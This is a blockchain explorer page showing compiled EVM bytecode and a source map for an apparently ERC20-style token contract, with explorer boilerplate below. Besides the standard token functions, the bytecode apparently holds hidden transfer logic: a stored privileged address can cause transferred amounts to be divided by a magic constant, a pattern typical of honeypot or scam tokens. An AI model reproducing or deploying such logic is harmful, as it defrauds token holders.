600082825260208201905092915050565b6000610e1f82610e32565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610e87578082015181840152602081019050610e6c565b83811115610e96576000848401525b50505050565b6000601f19601f8301169050919050565b610eb681610e14565b8114610ec157600080fd5b50565b610ecd81610e52565b8114610ed857600080fd5b5056fea2646970667358221220b235b49a3b10c4d9a5cc9798d9ef1b6e011a9daef01c424ed237da870a74423064736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063691114a311610071578063691114a31461019157806370a08231146101c157806395d89b41146101f1578063a9059cbb1461020f578063d4a9a9bc1461023f578063dd62ed3e14610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806334cadd1214610173575b600080fd5b6100c1610279565b6040516100ce9190610da0565b60405180910390f35b6100f160048036038101906100ec9190610ce3565b610317565b6040516100fe9190610d85565b60405180910390f35b61010f610409565b60405161011c9190610dc2565b60405180910390f35b61013f600480360381019061013a9190610c94565b61040f565b60405161014c9190610d85565b60405180910390f35b61015d61065a565b60405161016a9190610ddd565b60405180910390f35b61017b61067e565b6040516101889190610dc2565b60405180910390f35b6101ab60048036038101906101a69190610c2f565b610684565b6040516101b89190610dc2565b60405180910390f35b6101db60048036038101906101d69190610c2f565b61069c565b6040516101e89190610dc2565b60405180910390f35b6101f96106b4565b6040516102069190610da0565b60405180910390f35b61022960048036038101906102249190610ce3565b610752565b6040516102369190610d85565b60405180910390f35b610247610870565b005b610263600480360381019061025e9190610c58565b6108c0565b6040516102709190610dc2565b60405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103f79190610dc2565b60405180910390a36001905092915050565b60025481565b600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461053c57828103600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506105948386866108e5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506105e984610a67565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106469190610dc2565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b60065481565b60076020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561074a5780601f1061071f5761010080835404028352916020019161074a565b820191906000526020600020905b81548152906001019060200180831161072d57829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506107ac8233856108e5565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061080183610a67565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161085e9190610dc2565b60405180910390a36001905092915050565b6001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b6004602052816000526040600020602052806000526040600020600091509150505481565b60003073ffffffffffffffffffffffffffffffffffffffff1660046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110610a5c5763d0bedeba62cafe23850281610a5457fe5b049050610a60565b8390505b9392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610c02573073ffffffffffffffffffffffffffffffffffffffff1660020260046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600081359050610c1481610ead565b92915050565b600081359050610c2981610ec4565b92915050565b600060208284031215610c4157600080fd5b6000610c4f84828501610c05565b91505092915050565b60008060408385031215610c6b57600080fd5b6000610c7985828601610c05565b9250506020610c8a85828601610c05565b9150509250929050565b600080600060608486031215610ca957600080fd5b6000610cb786828701610c05565b9350506020610cc886828701610c05565b9250506040610cd986828701610c1a565b9150509250925092565b60008060408385031215610cf657600080fd5b6000610d0485828601610c05565b9250506020610d1585828601610c1a565b9150509250929050565b610d2881610e26565b82525050565b6000610d3982610df8565b610d438185610e03565b9350610d53818560208601610e69565b610d5c81610e9c565b840191505092915050565b610d7081610e52565b82525050565b610d7f81610e5c565b82525050565b6000602082019050610d9a6000830184610d1f565b92915050565b60006020820190508181036000830152610dba8184610d2e565b905092915050565b6000602082019050610dd76000830184610d67565b92915050565b6000602082019050610df26000830184610d76565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610e1f82610e32565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610e87578082015181840152602081019050610e6c565b83811115610e96576000848401525b50505050565b6000601f19601f8301169050919050565b610eb681610e14565b8114610ec157600080fd5b50565b610ecd81610e52565b8114610ed857600080fd5b5056fea2646970667358221220b235b49a3b10c4d9a5cc9798d9ef1b6e011a9daef01c424ed237da870a74423064736f6c63430007060033

Deployed Bytecode Sourcemap

4611:345:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12557:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13702:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12828:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14184:472;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12607:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4649:33:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4688:48;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12860:44:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12581:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13917:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4875:78:1;;;:::i;:::-;;12910:64:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12557:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;13702:209::-;13776:4;13825:6;13792:9;:21;13802:10;13792:21;;;;;;;;;;;;;;;:30;13814:7;13792:30;;;;;;;;;;;;;;;:39;;;;13867:7;13846:37;;13855:10;13846:37;;;13876:6;13846:37;;;;;;:::i;:::-;;;;;;;;13900:4;13893:11;;13702:209;;;;:::o;12828:26::-;;;;:::o;14184:472::-;14302:4;14318:15;14336:9;:15;14346:4;14336:15;;;;;;;;;;;;;;;:27;14352:10;14336:27;;;;;;;;;;;;;;;;14318:45;;14424:17;14413:7;:28;14409:80;;14483:6;14473:7;:16;14443:9;:15;14453:4;14443:15;;;;;;;;;;;;;;;:27;14459:10;14443:27;;;;;;;;;;;;;;;:46;;;;14409:80;14518:6;14499:9;:15;14509:4;14499:15;;;;;;;;;;;;;;;;:25;;;;;;;;;;;14551:19;14553:6;14561:4;14567:2;14551:1;:19::i;:::-;14534:9;:13;14544:2;14534:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;14580:7;14584:2;14580:3;:7::i;:::-;14617:2;14602:26;;14611:4;14602:26;;;14621:6;14602:26;;;;;;:::i;:::-;;;;;;;;14645:4;14638:11;;;14184:472;;;;;:::o;12607:31::-;;;:::o;4649:33:1:-;;;;:::o;4688:48::-;;;;;;;;;;;;;;;;;:::o;12860:44:0:-;;;;;;;;;;;;;;;;;:::o;12581:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;13917:261::-;13987:4;14028:6;14003:9;:21;14013:10;14003:21;;;;;;;;;;;;;;;;:31;;;;;;;;;;;14061:25;14063:6;14071:10;14083:2;14061:1;:25::i;:::-;14044:9;:13;14054:2;14044:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;14096:7;14100:2;14096:3;:7::i;:::-;14139:2;14118:32;;14127:10;14118:32;;;14143:6;14118:32;;;;;;:::i;:::-;;;;;;;;14167:4;14160:11;;13917:261;;;;:::o;4875:78:1:-;4945:1;4917:12;:24;4930:10;4917:24;;;;;;;;;;;;;;;;:29;;;;;;;;;;;4875:78::o;12910:64:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14844:321::-;14954:7;15044:4;15020:31;;14999:9;:13;15009:2;;;;;;;;;;;14999:13;;;;;;;;;;;;;;;:17;15013:2;14999:17;;;;;;;;;;;;;;;;14977:9;:13;14987:2;;;;;;;;;;;14977:13;;;;;;;;;;;;;;;:19;14991:4;14977:19;;;;;;;;;;;;;;;;:39;:74;14973:186;;15095:10;15083:8;15075:5;:16;15074:31;;;;;;15067:38;;;;14973:186;15143:5;15136:12;;14844:321;;;;;;:::o;15171:156::-;15256:2;;;;;;;;;;;15240:20;;15219:9;:13;15229:2;;;;;;;;;;;15219:13;;;;;;;;;;;;;;;:17;15233:2;15219:17;;;;;;;;;;;;;;;;:41;15215:106;;;15312:4;15288:31;;15284:1;:35;15264:9;:13;15274:2;;;;;;;;;;;15264:13;;;;;;;;;;;;;;;:17;15278:2;15264:17;;;;;;;;;;;;;;;:55;;;;15215:106;15171:156;:::o;7:139:2:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:109::-;2030:21;2045:5;2030:21;:::i;:::-;2025:3;2018:34;2008:50;;:::o;2064:364::-;;2180:39;2213:5;2180:39;:::i;:::-;2235:71;2299:6;2294:3;2235:71;:::i;:::-;2228:78;;2315:52;2360:6;2355:3;2348:4;2341:5;2337:16;2315:52;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2156:272;;;;;:::o;2434:118::-;2521:24;2539:5;2521:24;:::i;:::-;2516:3;2509:37;2499:53;;:::o;2558:112::-;2641:22;2657:5;2641:22;:::i;:::-;2636:3;2629:35;2619:51;;:::o;2676:210::-;;2801:2;2790:9;2786:18;2778:26;;2814:65;2876:1;2865:9;2861:17;2852:6;2814:65;:::i;:::-;2768:118;;;;:::o;2892:313::-;;3043:2;3032:9;3028:18;3020:26;;3092:9;3086:4;3082:20;3078:1;3067:9;3063:17;3056:47;3120:78;3193:4;3184:6;3120:78;:::i;:::-;3112:86;;3010:195;;;;:::o;3211:222::-;;3342:2;3331:9;3327:18;3319:26;;3355:71;3423:1;3412:9;3408:17;3399:6;3355:71;:::i;:::-;3309:124;;;;:::o;3439:214::-;;3566:2;3555:9;3551:18;3543:26;;3579:67;3643:1;3632:9;3628:17;3619:6;3579:67;:::i;:::-;3533:120;;;;:::o;3659:99::-;;3745:5;3739:12;3729:22;;3718:40;;;:::o;3764:169::-;;3882:6;3877:3;3870:19;3922:4;3917:3;3913:14;3898:29;;3860:73;;;;:::o;3939:96::-;;4005:24;4023:5;4005:24;:::i;:::-;3994:35;;3984:51;;;:::o;4041:90::-;;4118:5;4111:13;4104:21;4093:32;;4083:48;;;:::o;4137:126::-;;4214:42;4207:5;4203:54;4192:65;;4182:81;;;:::o;4269:77::-;;4335:5;4324:16;;4314:32;;;:::o;4352:86::-;;4427:4;4420:5;4416:16;4405:27;;4395:43;;;:::o;4444:307::-;4512:1;4522:113;4536:6;4533:1;4530:13;4522:113;;;4621:1;4616:3;4612:11;4606:18;4602:1;4597:3;4593:11;4586:39;4558:2;4555:1;4551:10;4546:15;;4522:113;;;4653:6;4650:1;4647:13;4644:2;;;4733:1;4724:6;4719:3;4715:16;4708:27;4644:2;4493:258;;;;:::o;4757:102::-;;4849:2;4845:7;4840:2;4833:5;4829:14;4825:28;4815:38;;4805:54;;;:::o;4865:122::-;4938:24;4956:5;4938:24;:::i;:::-;4931:5;4928:35;4918:2;;4977:1;4974;4967:12;4918:2;4908:79;:::o;4993:122::-;5066:24;5084:5;5066:24;:::i;:::-;5059:5;5056:35;5046:2;;5105:1;5102;5095:12;5046:2;5036:79;:::o

Swarm Source

ipfs://b235b49a3b10c4d9a5cc9798d9ef1b6e011a9daef01c424ed237da870a744230

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.